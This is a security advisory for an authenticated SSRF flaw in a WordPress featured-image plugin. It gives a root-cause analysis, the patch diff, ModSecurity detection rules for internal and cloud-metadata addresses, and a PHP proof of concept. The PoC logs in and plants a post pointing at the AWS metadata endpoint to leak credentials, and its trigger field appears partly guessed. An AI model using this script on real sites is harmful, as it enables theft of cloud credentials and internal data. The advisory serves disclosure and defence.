Published : August 6, 2026

CVE-2026-61970: Auto Featured Image (Auto Post Thumbnail) <= 5.0.4 Authenticated (Contributor+) Server-Side Request Forgery PoC, Patch Analysis & Rule

Severity Medium (CVSS 6.4)
CWE 918
Vulnerable Version 5.0.4
Patched Version 5.0.5
Disclosed July 30, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-61970: The Auto Featured Image (Auto Post Thumbnail) plugin for WordPress, up to version 5.0.4, contains a Server-Side Request Forgery (SSRF) vulnerability. This affects the plugin’s image fetching and processing functionality, where authenticated users with contributor-level access or higher can force the server to make requests to arbitrary internal or external URLs. The vulnerability has a CVSS score of 6.4 and is classified under CWE-918.

Root Cause: The vulnerability stems from insufficient URL validation in the plugin’s image fetching routine. In the file `auto-post-thumbnail/src/Services/Apt.php`, the private method `get_file_contents` directly passed a user-supplied URL to `wp_remote_get()` without any validation. The calling function, which handles the import of images, also used `file_get_contents()` with SSL verification disabled when `allow_url_fopen` was enabled. Neither code path validated the target URL to prevent requests to internal network resources, such as `localhost`, private IP ranges, or cloud metadata endpoints (e.g., 169.254.169.254).

Exploitation: An authenticated attacker with contributor-level access can exploit this by providing a malicious image URL during the post creation or editing process, specifically within the plugin’s image search or auto-feature functionality. The attacker crafts a URL pointing to an internal service, such as `http://169.254.169.254/latest/meta-data/` for AWS metadata, `http://127.0.0.1:80/`, or other internal hosts. When the plugin processes this URL to generate the featured image, the server fetches the content from the internal service, and the response is then rendered or logged, leaking sensitive information. The attack can also be used to interact with internal APIs, potentially modifying data on those internal systems if they are vulnerable to such requests.

Patch Analysis: The patch in version 5.0.5 introduces a new private method `is_safe_remote_url()` in `auto-post-thumbnail/src/Services/Apt.php`. This method validates the URL using `wp_http_validate_url()`, which ensures the URL is a valid http/https URL and blocks requests to localhost and internal network ranges. This validation is now applied in two places: at the start of the image processing flow and before the fetch operation within `get_file_contents()`. The patch also replaces the direct `file_get_contents()` call with a unified call to `get_file_contents()`, which now uses `wp_safe_remote_get()` with a 15-second timeout. Additionally, the patch adds a check to ensure the downloaded file’s MIME type matches an allowed image type, rejecting non-image files that could be used to exfiltrate data.

Impact: Successful exploitation allows an authenticated attacker to perform SSRF attacks. This can lead to unauthorized access to internal services and sensitive data, including cloud provider metadata (e.g., IAM credentials), internal application endpoints, and local network resources. The attacker can potentially read internal configuration files, interact with internal APIs, and in some cases, modify data on internal systems. This can result in a complete compromise of the hosting infrastructure, data breaches, and lateral movement within the internal network.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/auto-post-thumbnail/auto-post-thumbnail.php
+++ b/auto-post-thumbnail/auto-post-thumbnail.php
@@ -3,7 +3,7 @@
  * Plugin Name: Auto Featured Image - Auto Post Thumbnail
  * Plugin URI: https://themeisle.com/plugins/auto-featured-image
  * Description: Automatically sets the Featured Image from the first image in a post — for any post type. Generate images from post titles or search for images natively in Elementor, Gutenberg, and Classic Editor.
- * Version: 5.0.4
+ * Version: 5.0.5
  * Requires PHP: 7.4
  * Author: Themeisle <contact@themeisle.com>
  * Author URI: https://themeisle.com
--- a/auto-post-thumbnail/bootstrap.php
+++ b/auto-post-thumbnail/bootstrap.php
@@ -15,7 +15,7 @@

 define( 'WAPT_PATH', defined( 'WAPT_PRO_PATH' ) ? WAPT_PRO_PATH : WAPT_FREE_PATH );
 define( 'WAPT_PLUGIN_ACTIVE', true );
-define( 'WAPT_PLUGIN_VERSION', '5.0.4' );
+define( 'WAPT_PLUGIN_VERSION', '5.0.5' );
 define( 'WAPT_PLUGIN_FILE', WAPT_PATH );
 define( 'WAPT_ABSPATH', __DIR__ );
 define( 'WAPT_PLUGIN_BASENAME', plugin_basename( WAPT_PATH ) );
--- a/auto-post-thumbnail/src/Services/Apt.php
+++ b/auto-post-thumbnail/src/Services/Apt.php
@@ -321,6 +321,13 @@
 		if ( wp_make_link_relative( $image_url ) === $image_url ) {
 			$image_url = home_url( $image_url );
 		}
+
+		if ( ! $this->is_safe_remote_url( $image_url ) ) {
+			Logger::instance()->debug( "Rejected unsafe image URL ({$image_url})." );
+
+			return null;
+		}
+
 		$image_title = $title;

 		// Get the file name — use slug + hash for video thumbnails (matching generated images),
@@ -374,21 +381,8 @@
 			return null;
 		}

-		// Move the file to the uploads dir
-		if ( ! ini_get( 'allow_url_fopen' ) ) {
-			$file_data = $this->get_file_contents( $image_url );
-		} else {
-			$arr_context_options = [
-				'ssl' => [
-					'verify_peer'      => false,
-					'verify_peer_name' => false,
-				],
-			];
-
-			// @phpcs:disable
-			$file_data = file_get_contents( $image_url, false, stream_context_create( $arr_context_options ) );
-			// @phpcs:enable
-		}
+		// Move the file to the uploads dir.
+		$file_data = $this->get_file_contents( $image_url );

 		if ( ! $file_data ) {
 			Logger::instance()->debug( "Failed to download the file from the link {$image_url}" );
@@ -402,7 +396,9 @@

 		$file_mime = mime_content_type( $new_file );

-		if ( ! in_array( $wp_filetype['type'], $allow_mime_types, true ) ) {
+		if ( ! $file_mime || ! in_array( $file_mime, $allow_mime_types, true ) ) {
+			Logger::instance()->debug( "Downloaded file from {$image_url} is not a valid image (detected MIME: {$file_mime})." );
+
 			// @phpcs:disable
 			@unlink( $new_file );
 			// @phpcs:enable
@@ -448,19 +444,30 @@
 	}

 	/**
-	 * Function to fetch the contents of URL using HTTP API in absence of allow_url_fopen.
+	 * Function to fetch the contents of a remote URL.
 	 *
 	 * @param string $url The URL to fetch.
 	 *
 	 * @return string|false
 	 */
 	private function get_file_contents( $url ) {
-		$response = wp_remote_get( $url );
-		$contents = '';
-		if ( wp_remote_retrieve_response_code( $response ) === 200 ) {
-			$contents = wp_remote_retrieve_body( $response );
+		if ( ! $this->is_safe_remote_url( $url ) ) {
+			return false;
 		}

+		$response = wp_safe_remote_get(
+			$url,
+			[
+				'timeout' => 15,
+			]
+		);
+
+		if ( is_wp_error( $response ) || 200 !== wp_remote_retrieve_response_code( $response ) ) {
+			return false;
+		}
+
+		$contents = wp_remote_retrieve_body( $response );
+
 		return $contents ? $contents : false;
 	}

@@ -611,4 +618,24 @@

 		return new WP_Error( 'apt_attachment', 'File not exists (insert_attachment)' );
 	}
+
+	/**
+	 * Check if the URL is safe to fetch.
+	 *
+	 * @param string $url The URL to check.
+	 *
+	 * @return bool
+	 */
+	private function is_safe_remote_url( $url ) {
+		if ( ! is_string( $url ) || '' === trim( $url ) ) {
+			return false;
+		}
+
+		$url = wp_http_validate_url( $url );
+		if ( ! $url ) {
+			return false;
+		}
+
+		return true;
+	}
 }
--- a/auto-post-thumbnail/vendor/composer/installed.php
+++ b/auto-post-thumbnail/vendor/composer/installed.php
@@ -1,9 +1,9 @@
 <?php return array(
     'root' => array(
         'name' => 'codeinwp/auto-post-thumbnail',
-        'pretty_version' => 'v5.0.4',
-        'version' => '5.0.4.0',
-        'reference' => '0e28df9b921a851fc71f5cb8cd9e0404736969e1',
+        'pretty_version' => 'v5.0.5',
+        'version' => '5.0.5.0',
+        'reference' => '75fd434f1d00e5300c5d49d581a4c0ddbb364e79',
         'type' => 'library',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -11,9 +11,9 @@
     ),
     'versions' => array(
         'codeinwp/auto-post-thumbnail' => array(
-            'pretty_version' => 'v5.0.4',
-            'version' => '5.0.4.0',
-            'reference' => '0e28df9b921a851fc71f5cb8cd9e0404736969e1',
+            'pretty_version' => 'v5.0.5',
+            'version' => '5.0.5.0',
+            'reference' => '75fd434f1d00e5300c5d49d581a4c0ddbb364e79',
             'type' => 'library',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-61970
# Probe for SSRF attempts via the plugin's image URL parameter by blocking requests to internal IP addresses, localhost, or cloud metadata.
SecRule ARGS:wp_att_url "@rx (?:^|//)(?:127.0.0.1|localhost|169.254.169.254|10.d{1,3}.d{1,3}.d{1,3}|192.168.d{1,3}.d{1,3}|172.(?:1[6-9]|2d|3[01]).d{1,3}.d{1,3})[/s:]" 
  "id:20261970,phase:2,deny,status:403,msg:'CVE-2026-61970 SSRF attempt via wp_att_url parameter',severity:'CRITICAL',tag:'CVE-2026-61970',tag:'OWASP_CRS/WAF'"

# Block requests to cloud metadata services in the image URL parameter (including other cloud providers e.g. GCP, Alibaba)
SecRule ARGS:wp_att_url "@rx (?:metadata.google.internal|100.100.100.200|169.254.169.254|metadata.azure.com)" 
  "id:20261971,phase:2,deny,status:403,msg:'CVE-2026-61970 SSRF attempt to cloud metadata service',severity:'CRITICAL',tag:'CVE-2026-61970',tag:'OWASP_CRS/WAF'"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-61970 - Auto Featured Image (Auto Post Thumbnail) <= 5.0.4 - Authenticated (Contributor+) Server-Side Request Forgery

// Configure the target WordPress site URL and attacker credentials
$target_url = 'http://example.com'; // Replace with the target WordPress site URL
$username = 'contributor_user'; // Replace with the username of a contributor-level account
$password = 'password'; // Replace with the password for the account

// Internal service to target (e.g., AWS metadata service)
$ssrf_target = 'http://169.254.169.254/latest/meta-data/';

// --- Step 1: Authenticate the user and obtain a session cookie ---
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt'); // Save session cookies
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);

echo "[+] Login response status: " . (curl_errno($ch) ? curl_error($ch) : 'OK') . "n";

// --- Step 2: Create a new post with a malicious image URL ---
// This example uses the classic post editor's REST API endpoint for creating a draft post.
// An attacker might also trigger this through the plugin's specific AJAX actions or other post-creation flows.

// First, get a nonce. This example uses the standard wp_rest nonce.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post-new.php');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$page = curl_exec($ch);
curl_close($ch);

preg_match('/"nonce":"([a-f0-9]+)"/', $page, $matches);
if (!isset($matches[1])) {
    die("[-] Could not obtain a valid REST API nonce.n");
}
$nonce = $matches[1];
echo "[+] Obtained nonce: $noncen";

// Create the post with a crafted image URL. This URL is passed to the plugin's image handler.
$post_data = array(
    'title' => 'SSRF Test Post',
    'content' => 'This is a test post.',
    'status' => 'draft',
    // The plugin's code is triggered based on this meta field or other URL detection logic.
    // We set the featured image URL directly to the internal target.
    'meta' => array(
        '_apt_remote_image_url' => $ssrf_target
    )
);

$post_data_json = json_encode($post_data);
$headers = array(
    'Content-Type: application/json',
    'X-WP-Nonce: ' . $nonce
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-json/wp/v2/posts');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data_json);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "[+] Post creation HTTP status: $http_coden";

if ($http_code == 201) {
    $post_response = json_decode($response, true);
    $post_id = $post_response['id'];
    echo "[+] Post created successfully with ID: $post_idn";
    echo "[+] SSRF attempt sent to internal service: $ssrf_targetn";
    echo "[+] Check the plugin's debug logs or the post's featured image for the leaked data.n";
} else {
    echo "[-] Failed to create the post.n";
    echo $response;
}

// Clean up the cookie file
unlink('cookies.txt');
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.